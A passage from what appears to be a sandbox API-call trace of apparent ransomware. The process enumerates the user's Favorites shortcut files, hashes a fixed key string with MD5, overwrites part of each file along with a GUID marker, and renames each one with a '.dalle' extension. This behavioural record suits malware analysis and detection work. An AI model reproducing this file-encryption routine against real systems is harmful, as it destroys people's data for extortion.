HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.dalle")) returned 1 [0121.361] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.361] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.362] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.362] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0121.362] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.362] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.362] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.362] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0121.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.363] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.363] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.365] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.365] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.366] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.366] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.366] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.366] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.366] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.366] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.366] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.366] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.366] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.367] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.367] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.367] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.367] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.367] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.367] GetLastError () returned 0x0 [0121.367] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.367] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.367] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.367] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.367] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.367] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.367] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.368] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.368] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.368] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.368] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.368] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.368] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.368] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.368] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.368] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.368] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.368] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.368] CloseHandle (hObject=0x618) returned 1 [0121.369] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.369] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.369] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.369] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.dalle")) returned 1 [0121.370] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.370] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.371] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.371] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0121.371] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.371] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.371] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.371] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0121.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.372] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.372] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.374] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.374] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.375] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.375] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.375] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.375] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.375] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.375] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.376] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.376] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.376] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.376] GetLastError () returned 0x0 [0121.376] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.376] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.376] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.376] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.376] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.376] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.376] CloseHandle (hObject=0x618) returned 1 [0121.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.dalle")) returned 1 [0121.377] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.377] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.378] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.378] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0121.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0121.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.378] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.379] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.380] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.380] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.381] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.381] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.381] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.381] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.381] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.382] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.382] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.382] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.382] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.382] GetLastError () returned 0x0 [0121.382] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.382] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.382] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.384] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.384] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.384] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.384] CloseHandle (hObject=0x618) returned 1 [0121.384] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.dalle")) returned 1 [0121.385] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.385] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.386] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.386] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0121.386] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0121.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.387] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.387] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.389] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.389] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.389] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.390] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.390] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.390] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.390] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.390] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.390] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.390] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.391] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.391] GetLastError () returned 0x0 [0121.391] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.391] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.391] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.391] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.391] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.391] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.391] CloseHandle (hObject=0x618) returned 1 [0121.392] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.dalle")) returned 1 [0121.393] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0121.393] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.393] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.393] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0121.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0121.393] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.393] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.393] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.393] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.393] PathFindFileNameW (pszPath="") returned="" [0121.394] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.394] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.394] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.394] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0121.394] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.394] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows 